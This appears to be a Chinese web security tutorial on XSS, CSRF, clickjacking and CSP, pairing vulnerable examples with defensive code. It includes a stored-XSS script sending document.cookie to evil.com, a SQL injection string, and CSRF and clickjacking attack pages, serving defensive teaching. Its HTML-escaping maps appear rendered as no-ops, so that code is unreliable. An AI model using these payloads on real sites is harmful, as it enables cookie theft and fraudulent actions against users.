Search K
Appearance
Appearance
关键词: Web安全, XSS攻击, CSRF攻击, 点击劫持, 内容安全策略, 安全威胁, 输入验证, 输出编码
Web应用面临多种安全威胁,了解这些威胁是构建安全应用的第一步。
<!-- 典型的不安全HTML示例 -->
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>不安全的页面示例</title>
</head>
<body>
<h1>用户评论</h1>
<!-- 直接输出用户输入 - 存在XSS风险 -->
<div class="comment">
<p>用户评论:<script>alert('XSS攻击!');</script></p>
</div>
<!-- 不安全的表单 - 存在CSRF风险 -->
<form action="/transfer" method="post">
<input type="hidden" name="amount" value="1000">
<input type="hidden" name="to" value="attacker@example.com">
<button type="submit">转账</button>
</form>
<!-- 可被点击劫持的内容 -->
<iframe src="http://evil.com/clickjacking.html" width="0" height="0"></iframe>
<!-- 不安全的链接 -->
<a href="javascript:maliciousCode()">点击这里</a>
</body>
</html>// OWASP Top 10 Web应用安全风险
const owaspTop10 = {
1: {
name: '注入攻击',
description: 'SQL注入、命令注入、LDAP注入等',
impact: '数据泄露、数据篡改、服务器控制',
example: "'; DROP TABLE users; --"
},
2: {
name: '身份验证失效',
description: '弱密码、会话管理漏洞',
impact: '账户被盗用、身份冒充',
example: '弱密码策略、会话固定攻击'
},
3: {
name: '敏感数据泄露',
description: '未加密的敏感信息传输或存储',
impact: '个人信息泄露、财务损失',
example: '未加密的信用卡信息'
},
4: {
name: 'XML外部实体(XXE)',
description: 'XML解析器的配置问题',
impact: '文件读取、内网探测、DoS攻击',
example: '恶意XML实体引用'
},
5: {
name: '失效的访问控制',
description: '权限验证不当',
impact: '未授权访问、特权提升',
example: '直接访问管理员页面'
}
};<!-- 客户端安全威胁示例 -->
<div class="security-threats">
<h2>客户端安全威胁</h2>
<!-- 跨站脚本攻击 (XSS) -->
<section class="xss-demo">
<h3>XSS攻击示例</h3>
<div class="vulnerable-code">
<!-- 存储型XSS -->
<div id="user-content">
<!-- 用户输入直接显示,存在XSS风险 -->
</div>
<!-- 反射型XSS -->
<div id="search-results">
<!-- URL参数直接显示,存在XSS风险 -->
</div>
</div>
</section>
<!-- 跨站请求伪造 (CSRF) -->
<section class="csrf-demo">
<h3>CSRF攻击示例</h3>
<div class="vulnerable-form">
<!-- 缺少CSRF令牌的表单 -->
<form action="/update-profile" method="post">
<input type="email" name="email" value="user@example.com">
<button type="submit">更新邮箱</button>
</form>
</div>
</section>
<!-- 点击劫持攻击 -->
<section class="clickjacking-demo">
<h3>点击劫持攻击示例</h3>
<div class="vulnerable-page">
<!-- 可被嵌入iframe的页面 -->
<button onclick="performSensitiveAction()">
重要操作按钮
</button>
</div>
</section>
</div><!-- 存储型XSS攻击示例 -->
<div class="stored-xss-example">
<h3>存储型XSS攻击</h3>
<!-- 攻击者输入的恶意脚本 -->
<div class="malicious-input">
<script>
// 恶意脚本示例
document.cookie = "stolen=true";
window.location.href = "http://evil.com/steal?cookie=" + document.cookie;
</script>
</div>
<!-- 受害者看到的内容 -->
<div class="victim-view">
<p>用户评论:<span id="comment-content"></span></p>
</div>
</div>
<!-- 反射型XSS攻击示例 -->
<div class="reflected-xss-example">
<h3>反射型XSS攻击</h3>
<!-- 恶意URL -->
<!-- http://example.com/search?q=<script>alert('XSS')</script> -->
<!-- 搜索结果页面 -->
<div class="search-results">
<p>搜索结果:<span id="search-term"></span></p>
</div>
</div>
<!-- DOM型XSS攻击示例 -->
<div class="dom-xss-example">
<h3>DOM型XSS攻击</h3>
<script>
// 不安全的DOM操作
function displayMessage() {
var message = location.hash.substring(1);
document.getElementById('message').innerHTML = message;
}
// 攻击URL: http://example.com/page.html#<script>alert('XSS')</script>
</script>
<div id="message"></div>
</div><!-- 输入验证和过滤 -->
<script>
function sanitizeInput(input) {
// 移除危险字符
return input.replace(/[<>\"'&]/g, function(match) {
const entityMap = {
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'&': '&'
};
return entityMap[match];
});
}
// 使用示例
const userInput = '<script>alert("XSS")</script>';
const safeInput = sanitizeInput(userInput);
console.log(safeInput); // <script>alert("XSS")</script>
</script>
<!-- 安全的内容显示 -->
<div class="safe-content-display">
<h3>安全的内容显示方法</h3>
<!-- 使用textContent而不是innerHTML -->
<script>
function displayUserContent(content) {
const container = document.getElementById('user-content');
// 安全方法:使用textContent
container.textContent = content;
// 不安全方法:使用innerHTML
// container.innerHTML = content; // 避免这样做
}
</script>
<div id="user-content"></div>
</div>
<!-- 内容安全策略 (CSP) -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self' 'unsafe-inline' https://trusted-scripts.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;">// 使用DOMPurify库进行HTML清理
function safeDOMPurify(htmlString) {
// 需要引入DOMPurify库
// <script src="https://cdn.jsdelivr.net/npm/dompurify@2.4.0/dist/purify.min.js"></script>
if (typeof DOMPurify !== 'undefined') {
return DOMPurify.sanitize(htmlString);
}
// 降级处理
return htmlString.replace(/[<>]/g, function(match) {
return match === '<' ? '<' : '>';
});
}
// 模板字面量标记函数
function safeHTML(strings, ...values) {
let result = strings[0];
for (let i = 0; i < values.length; i++) {
// 对插值进行HTML转义
const escaped = String(values[i])
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
result += escaped + strings[i + 1];
}
return result;
}
// 使用示例
const userInput = '<script>alert("XSS")</script>';
const safeOutput = safeHTML`<div class="user-content">${userInput}</div>`;
console.log(safeOutput);<!-- CSRF攻击示例 -->
<div class="csrf-attack-example">
<h3>CSRF攻击场景</h3>
<!-- 受害者正常使用的银行网站 -->
<div class="legitimate-site">
<h4>银行网站 (example-bank.com)</h4>
<form action="/transfer" method="post">
<label>转账金额:</label>
<input type="number" name="amount" value="100">
<label>收款人:</label>
<input type="text" name="recipient" value="friend@example.com">
<button type="submit">转账</button>
</form>
</div>
<!-- 攻击者的恶意网站 -->
<div class="malicious-site">
<h4>恶意网站 (evil.com)</h4>
<!-- 隐藏的恶意表单 -->
<form action="http://example-bank.com/transfer" method="post" style="display:none;">
<input type="hidden" name="amount" value="10000">
<input type="hidden" name="recipient" value="attacker@evil.com">
</form>
<!-- 诱导用户点击 -->
<img src="fake-image.jpg" alt="点击查看大图" onclick="document.forms[0].submit();">
</div>
</div><!-- CSRF令牌实现 -->
<script>
// 生成CSRF令牌
function generateCSRFToken() {
const array = new Uint8Array(32);
crypto.getRandomValues(array);
return Array.from(array, byte => byte.toString(16).padStart(2, '0')).join('');
}
// 设置CSRF令牌
function setCSRFToken() {
const token = generateCSRFToken();
// 存储在meta标签中
const metaTag = document.createElement('meta');
metaTag.name = 'csrf-token';
metaTag.content = token;
document.head.appendChild(metaTag);
// 存储在sessionStorage中
sessionStorage.setItem('csrf-token', token);
return token;
}
// 验证CSRF令牌
function validateCSRFToken(formToken) {
const storedToken = sessionStorage.getItem('csrf-token');
return formToken === storedToken;
}
</script>
<!-- 安全的表单 -->
<form action="/sensitive-action" method="post" onsubmit="return validateForm(this)">
<!-- CSRF令牌字段 -->
<input type="hidden" name="csrf-token" id="csrf-token" value="">
<label>操作数据:</label>
<input type="text" name="data" required>
<button type="submit">提交</button>
</form>
<script>
// 初始化CSRF令牌
document.addEventListener('DOMContentLoaded', function() {
const token = setCSRFToken();
document.getElementById('csrf-token').value = token;
});
// 表单验证
function validateForm(form) {
const formToken = form.querySelector('[name="csrf-token"]').value;
if (!validateCSRFToken(formToken)) {
alert('安全验证失败,请刷新页面重试');
return false;
}
return true;
}
</script>// 同源策略检查
function validateOrigin(request) {
const origin = request.headers.origin;
const referer = request.headers.referer;
const allowedOrigins = ['https://example.com', 'https://www.example.com'];
// 检查Origin头
if (origin && !allowedOrigins.includes(origin)) {
return false;
}
// 检查Referer头
if (referer && !allowedOrigins.some(allowed => referer.startsWith(allowed))) {
return false;
}
return true;
}
// 双重提交Cookie
function setupDoubleSubmitCookie() {
const csrfToken = generateCSRFToken();
// 设置HttpOnly Cookie
document.cookie = `csrf-token=${csrfToken}; SameSite=Strict; Secure`;
// 返回令牌用于表单
return csrfToken;
}
// SameSite Cookie属性
function setSameSiteCookie(name, value, options = {}) {
let cookieString = `${name}=${value}`;
// 添加SameSite属性
if (options.sameSite) {
cookieString += `; SameSite=${options.sameSite}`;
}
// 添加Secure属性
if (options.secure) {
cookieString += '; Secure';
}
// 添加HttpOnly属性
if (options.httpOnly) {
cookieString += '; HttpOnly';
}
document.cookie = cookieString;
}<!-- 点击劫持攻击示例 -->
<div class="clickjacking-example">
<h3>点击劫持攻击场景</h3>
<!-- 攻击者页面 -->
<div class="attacker-page">
<h4>恶意网站界面</h4>
<div style="position: relative; width: 500px; height: 300px;">
<!-- 诱导内容 -->
<div style="position: absolute; top: 0; left: 0; z-index: 1;">
<h2>恭喜您中奖!</h2>
<p>点击下方按钮领取奖品</p>
<div style="width: 200px; height: 50px; background: red; color: white; text-align: center; line-height: 50px;">
点击领取
</div>
</div>
<!-- 隐藏的受害者网站 -->
<iframe src="https://victim-site.com/delete-account"
style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0; z-index: 2;">
</iframe>
</div>
</div>
</div><!-- X-Frame-Options头部设置 -->
<script>
// 客户端检测是否被嵌入
function detectFraming() {
if (window.top !== window.self) {
// 被嵌入iframe中
console.warn('页面被嵌入iframe中,可能存在点击劫持风险');
// 跳出iframe
window.top.location.href = window.location.href;
}
}
// 页面加载时检测
document.addEventListener('DOMContentLoaded', detectFraming);
</script>
<!-- 服务器端需要设置HTTP头部 -->
<!--
X-Frame-Options: DENY // 禁止被任何页面嵌入
X-Frame-Options: SAMEORIGIN // 只允许同源页面嵌入
X-Frame-Options: ALLOW-FROM https://example.com // 允许指定域名嵌入
--><!-- 使用CSP frame-ancestors指令 -->
<meta http-equiv="Content-Security-Policy"
content="frame-ancestors 'none';">
<!-- 或者只允许同源嵌入 -->
<meta http-equiv="Content-Security-Policy"
content="frame-ancestors 'self';">
<!-- 允许特定域名嵌入 -->
<meta http-equiv="Content-Security-Policy"
content="frame-ancestors 'self' https://trusted-site.com;">// 高级点击劫持防护
class ClickjackingProtection {
constructor() {
this.init();
}
init() {
// 检测iframe嵌入
this.detectFraming();
// 监听窗口变化
this.monitorWindowChanges();
// 设置透明度检测
this.setupTransparencyDetection();
}
detectFraming() {
if (window.top !== window.self) {
this.handleFramingDetected();
}
}
handleFramingDetected() {
// 记录安全事件
console.warn('Clickjacking attempt detected');
// 显示警告
this.showWarning();
// 尝试跳出iframe
try {
window.top.location.href = window.location.href;
} catch (e) {
// 如果无法跳出,显示警告页面
this.showBlockingMessage();
}
}
showWarning() {
const warning = document.createElement('div');
warning.style.cssText = `
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(255, 0, 0, 0.9);
color: white;
font-size: 24px;
text-align: center;
z-index: 999999;
display: flex;
align-items: center;
justify-content: center;
`;
warning.innerHTML = '安全警告:检测到点击劫持攻击!';
document.body.appendChild(warning);
}
monitorWindowChanges() {
let lastWidth = window.innerWidth;
let lastHeight = window.innerHeight;
setInterval(() => {
if (window.innerWidth !== lastWidth || window.innerHeight !== lastHeight) {
this.detectFraming();
lastWidth = window.innerWidth;
lastHeight = window.innerHeight;
}
}, 1000);
}
setupTransparencyDetection() {
// 检测页面透明度
const observer = new MutationObserver(() => {
if (document.body.style.opacity < 1) {
console.warn('页面透明度异常,可能存在点击劫持');
}
});
observer.observe(document.body, {
attributes: true,
attributeFilter: ['style']
});
}
}
// 初始化保护
new ClickjackingProtection();<!-- 基本CSP配置 -->
<meta http-equiv="Content-Security-Policy" content="
default-src 'self';
script-src 'self' 'unsafe-inline' https://trusted-scripts.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
font-src 'self' https://fonts.googleapis.com;
object-src 'none';
media-src 'self';
frame-src 'none';
">
<!-- 严格的CSP配置 -->
<meta http-equiv="Content-Security-Policy" content="
default-src 'none';
script-src 'self' 'nonce-{random-nonce}';
style-src 'self' 'nonce-{random-nonce}';
img-src 'self' data:;
connect-src 'self';
font-src 'self';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
">// CSP管理器
class CSPManager {
constructor() {
this.policies = {
'default-src': ["'self'"],
'script-src': ["'self'"],
'style-src': ["'self'"],
'img-src': ["'self'", "data:", "https:"],
'connect-src': ["'self'"],
'font-src': ["'self'"],
'object-src': ["'none'"],
'media-src': ["'self'"],
'frame-src': ["'none'"],
'base-uri': ["'self'"],
'form-action': ["'self'"],
'frame-ancestors': ["'none'"]
};
}
// 添加源到指令
addSource(directive, source) {
if (!this.policies[directive]) {
this.policies[directive] = [];
}
if (!this.policies[directive].includes(source)) {
this.policies[directive].push(source);
}
}
// 移除源
removeSource(directive, source) {
if (this.policies[directive]) {
this.policies[directive] = this.policies[directive].filter(s => s !== source);
}
}
// 生成CSP字符串
generateCSP() {
const cspParts = [];
for (const [directive, sources] of Object.entries(this.policies)) {
if (sources.length > 0) {
cspParts.push(`${directive} ${sources.join(' ')}`);
}
}
return cspParts.join('; ');
}
// 应用CSP
applyCSP() {
const cspContent = this.generateCSP();
// 更新或创建meta标签
let metaTag = document.querySelector('meta[http-equiv="Content-Security-Policy"]');
if (!metaTag) {
metaTag = document.createElement('meta');
metaTag.setAttribute('http-equiv', 'Content-Security-Policy');
document.head.appendChild(metaTag);
}
metaTag.setAttribute('content', cspContent);
}
// 生成nonce
generateNonce() {
const array = new Uint8Array(16);
crypto.getRandomValues(array);
return btoa(String.fromCharCode(...array));
}
// 为脚本添加nonce
addScriptWithNonce(scriptContent) {
const nonce = this.generateNonce();
const script = document.createElement('script');
script.setAttribute('nonce', nonce);
script.textContent = scriptContent;
// 添加nonce到CSP
this.addSource('script-src', `'nonce-${nonce}'`);
this.applyCSP();
document.head.appendChild(script);
}
}
// 使用示例
const cspManager = new CSPManager();
// 添加可信任的脚本源
cspManager.addSource('script-src', 'https://trusted-cdn.com');
cspManager.addSource('style-src', 'https://fonts.googleapis.com');
// 应用CSP
cspManager.applyCSP();<!-- CSP违规报告 -->
<meta http-equiv="Content-Security-Policy" content="
default-src 'self';
script-src 'self';
report-uri /csp-report;
report-to csp-endpoint;
">
<!-- 报告组配置 -->
<script>
// 配置报告组
if ('reportingObserver' in window) {
const observer = new ReportingObserver((reports, observer) => {
reports.forEach(report => {
if (report.type === 'csp-violation') {
console.warn('CSP违规报告:', report.body);
// 发送到监控服务
fetch('/security-monitoring', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
type: 'csp-violation',
url: report.url,
violatedDirective: report.body.violatedDirective,
blockedURI: report.body.blockedURI,
timestamp: new Date().toISOString()
})
});
}
});
});
observer.observe();
}
</script>A: 根据OWASP Top 10,最常见的威胁包括注入攻击、身份验证失效、敏感数据泄露、XSS和不安全的反序列化等。
A: 主要通过输入验证、输出编码、使用安全的DOM操作方法、配置CSP和使用HttpOnly Cookie等方式防护。
A: CSRF令牌是服务器生成的随机值,嵌入在表单中,提交时验证令牌有效性,攻击者无法获取有效令牌。
A: 攻击者将目标网站嵌入透明或不可见的iframe中,诱导用户点击,执行非预期操作。
A: 从严格策略开始,逐步添加必要的源,使用nonce或hash值,配置报告机制监控违规。
下一节预览:下一节我们将学习HTML5安全特性,重点介绍同源策略、沙箱属性、安全的数据存储和API使用方法。